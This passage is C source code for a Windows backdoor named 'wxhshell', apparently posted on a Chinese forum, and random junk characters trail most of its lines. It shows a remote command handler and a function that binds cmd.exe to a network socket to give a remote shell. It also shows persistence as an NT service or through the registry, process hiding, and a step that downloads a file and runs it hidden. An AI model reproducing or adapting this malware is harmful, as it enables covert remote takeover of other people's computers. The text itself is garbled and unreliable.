  else { hVRpk0IJDK  
#KZ6S9>@  
    switch(cmd[0]) { Ji  SJi?  
  hKb-l`KO  
  // 帮助 me@4lHBR  
  case '?': { ny17(Y =  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xd\k;nq  
    break; w> `3{MTQ  
  } j{EN %  
  // 安装 uWR\#D'  
  case 'i': { zzi%r=%r&  
    if(Install()) bLoAtI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); agX-V{l.  
    else 7Zp'}Om<I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \I; lgz2  
    break; _*B]yz6z  
    } 17[7)M88  
  // 卸载 )BudV zg  
  case 'r': { 7{j9vl6  
    if(Uninstall()) +`l >_u'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s"`uE$6N  
    else :.6kXX'~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'mj0+c$  
    break; 1HxE0>  
    } j}Lt"r2F  
  // 显示 wxhshell 所在路径 |xyN#wi  
  case 'p': { JnH>L|G{;%  
    char svExeFile[MAX_PATH]; 1Qui.],c  
    strcpy(svExeFile,"\n\r"); PiXegh WH  
      strcat(svExeFile,ExeFile); DLe?@R5  
        send(wsh,svExeFile,strlen(svExeFile),0); )s1W)J?8  
    break; ! FbW7"yE  
    } 0V ,R|Ln  
  // 重启 /\_`Pkd3m  
  case 'b': { -:t<%]RfY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }|MGYS)  
    if(Boot(REBOOT)) W}V L3s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T(K~be  
    else { j K?GB  
    closesocket(wsh); c.m8~@O5+  
    ExitThread(0); j`Fsr?]/  
    } />_Mz  
    break; ?e9Acc`G5  
    } 1 *'SP6g  
  // 关机 U)a}XRS  
  case 'd': { x|n2,3%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .ICGGC`O  
    if(Boot(SHUTDOWN)) BO<I/J~b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {tMpI\>S  
    else { w+ gA3Dg  
    closesocket(wsh); Y s[JxP  
    ExitThread(0); 74ma   
    } ae( o:G  
    break; H2`aw3  
    } xM}lX(V!w  
  // 获取shell vs;T}' O  
  case 's': { |H 0+.f;  
    CmdShell(wsh); Bh?K_{e  
    closesocket(wsh); i6M_Gk}  
    ExitThread(0); Au,xIe!t  
    break; msOk~ZPE6\  
  } OoTMvZP[  
  // 退出 vBAds  
  case 'x': { 7H~StdL/>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hX(:xc  
    CloseIt(wsh); :$ j6  
    break; #`)zD"CO  
    } o%X@Bz  
  // 离开 :a#Mq9ph!  
  case 'q': { p*E_Po  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ) D:M_T2  
    closesocket(wsh); (5rH 72g(  
    WSACleanup(); 4tU3+e5h  
    exit(1); 2i`N26On  
    break; H5uWI  
        } 6O8'T`F[  
  } y)o!F^  
  } I)I,{xT4  
i&\N_PUm[  
  // 提示信息 5fuOl-M0W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DJP)V8]!B  
} ~.7r  
  } Y}%=:Yt  
Q`}1 B   
  return; 52K_kB5  
} EeC5HgIU'C  
"mr;!"LA  
// shell模块句柄 #!0le:_  
int CmdShell(SOCKET sock) \Tq Km  
{ T(%U$ea-S  
STARTUPINFO si; 3OTq  
ZeroMemory(&si,sizeof(si)); FC+K2Yf1=0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Q%C>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #?L%M  
PROCESS_INFORMATION ProcessInfo; :[P>e ox  
char cmdline[]="cmd"; {` Bgxejf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  N)G.^9  
  return 0; \tE2@  
} n}X)a-=  
9^l_\:4  
// 自身启动模式 8 &:  *<  
int StartFromService(void) bv ,_7UOG  
{ ?<VahDBS+A  
typedef struct f@Mm{3&.  
{ i2`i5&*  
  DWORD ExitStatus; "mr;|$Y  
  DWORD PebBaseAddress; i3g;B?54  
  DWORD AffinityMask; 9NLO{kN  
  DWORD BasePriority; {FyGh */  
  ULONG UniqueProcessId; nsk`nck  
  ULONG InheritedFromUniqueProcessId; Tx"}]AyB6  
}   PROCESS_BASIC_INFORMATION; <Okk;rj2  
<_&tP=h  
PROCNTQSIP NtQueryInformationProcess; 'PTWC.C?9  
. OA_)J7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xB"o 7,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5\/h3 i"I  
rSDS9Vf(  
  HANDLE             hProcess; c-8Pc ]+g  
  PROCESS_BASIC_INFORMATION pbi; !m(5N4:vV  
mwLp~z%OX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); | W:JI  
  if(NULL == hInst ) return 0; wjYwQ=y5  
6?OH"!b2-}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H)aeS F5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w. exLC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v{9< ATi  
M?pu7wa  
  if (!NtQueryInformationProcess) return 0; '}h[*IB}5  
qg?O+-+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Fn0Rq9/@  
  if(!hProcess) return 0; )? WiO}"  
OLpE0gZ.|`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fbp6lE  
Av[L,4A  
  CloseHandle(hProcess); 4{H>V_9zs  
J@'}lG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sI p q  
if(hProcess==NULL) return 0; \AV6;;}&  
k6-.XW  
HMODULE hMod; }l{r9ti  
char procName[255]; $FUWB6M  
unsigned long cbNeeded; AG6tt  
Q- 78B'!=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7KU/ 1l9$9  
b489sa  
  CloseHandle(hProcess); QZ(se  
(5S(CYls  
if(strstr(procName,"services")) return 1; // 以服务启动 p\5DW'  
O@St^o*A}  
  return 0; // 注册表启动 4RYK9=NH  
} Mo`7YS-Y  
* Zb-YA  
// 主模块 [|<2BQX  
int StartWxhshell(LPSTR lpCmdLine) RGy4p)z*+  
{ }|>mR];  
  SOCKET wsl; l?E7'OEF:  
BOOL val=TRUE; (.Yt| "j  
  int port=0; Q.: SIBP  
  struct sockaddr_in door; Yy]^_,r  
D/pc)3Ofe  
  if(wscfg.ws_autoins) Install(); }WXO[ +l  
g|_-O" l  
port=atoi(lpCmdLine); Kj;gxYD>6  
Xi3:Ok6FZ  
if(port<=0) port=wscfg.ws_port; Ht#5;c2/  
qD:3;85  
  WSADATA data; bf ]W_I]B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $r})j~c  
M;*f(JY$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +BcJHNIB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v#i,pBj  
  door.sin_family = AF_INET; 2OFrv=F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3]Rb2$p[=  
  door.sin_port = htons(port); J{c-'Of2yi  
`[x`#irD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iDej{95  
closesocket(wsl); w7}m T3p,)  
return 1; ]&%_Fpx  
} C8i6ESmU  
1B+uv0lA  
  if(listen(wsl,2) == INVALID_SOCKET) { q]+'{Ci@  
closesocket(wsl); Ru8k2d$B  
return 1; nE+OBdl  
} tM3eB= .*  
  Wxhshell(wsl); D4WvRxki  
  WSACleanup(); kx=.K'd5H  
Cw"Y=`  
return 0; pX3Q@3,$  
mEsOYIu{  
} Nb/W+& y  
f,{O%*PUA  
// 以NT服务方式启动 h ,;f6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?h)Z ;,}  
{ )=6 |G^  
DWORD   status = 0; $OMTk  
  DWORD   specificError = 0xfffffff; P+00wbx0  
#=r:;,,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "bZ {W(h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qzq_3^ 66  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; # T_m|LN 7  
  serviceStatus.dwWin32ExitCode     = 0; B ^>}M  
  serviceStatus.dwServiceSpecificExitCode = 0; E _d^&{j  
  serviceStatus.dwCheckPoint       = 0; MU2ufKq4)  
  serviceStatus.dwWaitHint       = 0; 8,Iil:w  
z/zUb``  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r}ZL{uWMW  
  if (hServiceStatusHandle==0) return; O!#yP Sq?  
>R "]{y  
status = GetLastError(); 1I< <`7'  
  if (status!=NO_ERROR) JD1IL` ta;  
{  ;ew j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <:=}1t.Z  
    serviceStatus.dwCheckPoint       = 0; B;f\H,/59  
    serviceStatus.dwWaitHint       = 0; U_!Wg|  
    serviceStatus.dwWin32ExitCode     = status; QRb iO  
    serviceStatus.dwServiceSpecificExitCode = specificError; LPr34BK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R$qp3I  
    return; D90m..\w  
  } [_W#8{  
p^1s9CM%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QR4!r@*=  
  serviceStatus.dwCheckPoint       = 0; LliOhr4  
  serviceStatus.dwWaitHint       = 0; 5P{PBd}glp  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); owYf1=G  
} +dd\_\  
26n+v(re  
// 处理NT服务事件,比如:启动、停止 2S'{$m)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m,U Mb#7Y  
{ .|=~x3mPw  
switch(fdwControl) ;{@ [ek6  
{ HPM ggRs  
case SERVICE_CONTROL_STOP: y" 4Nw]kU  
  serviceStatus.dwWin32ExitCode = 0; >|h$d:~n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8BP.VxX  
  serviceStatus.dwCheckPoint   = 0; Ak(_![Q:q\  
  serviceStatus.dwWaitHint     = 0; >jI( ^8?  
  { \va'>?#o1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (' yBIb\ue  
  } MVe:[=VOT|  
  return; aH6{_eY  
case SERVICE_CONTROL_PAUSE: ]ADj 9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y![m'q}K  
  break; d8l T+MS=  
case SERVICE_CONTROL_CONTINUE: J'99  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WDznhMo  
  break; ,khB*h14;h  
case SERVICE_CONTROL_INTERROGATE: t+C9QXY  
  break; 72J@Dc  
}; Y`$dtg {  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3/+r*lv>X  
} qfF/X"#0  
')]K&  
// 标准应用程序主函数 NCm>iEeY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pO^goo V\  
{ a:$hK%^ \  
5\hJ&  
// 获取操作系统版本 JIeKp7;^  
OsIsNt=GetOsVer(); >,JLYz|</  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xqV>m  
C*O648yz[  
  // 从命令行安装 HR0t[*  
  if(strpbrk(lpCmdLine,"iI")) Install(); !YJfP@"e6r  
=*K~U# uoC  
  // 下载执行文件 3]Jl\<0  
if(wscfg.ws_downexe) { VXr'Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (N6 3k1M  
  WinExec(wscfg.ws_filenam,SW_HIDE); =b\k$WQ_(  
} Vaj4p""\F  
a~#MMl  
if(!OsIsNt) { ci]IH]x  
// 如果时win9x,隐藏进程并且设置为注册表启动 6$42 -a%b  
HideProc(); ~nul[>z  
StartWxhshell(lpCmdLine); fb8"hO]s  
} 6]`XW 0{C  
else kGaK(^w  
  if(StartFromService()) V4c$V]7  
  // 以服务方式启动 cRt[{ HE  
  StartServiceCtrlDispatcher(DispatchTable); )"Ef* /+  
else kJ^)7_3  
  // 普通方式启动 mM*jdm(!  
  StartWxhshell(lpCmdLine); EP!zcp2' C  
cM9z b6m  
return 0; W*D]?hXU;  
}
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只看该作者 1 发表于: 2006-10-10
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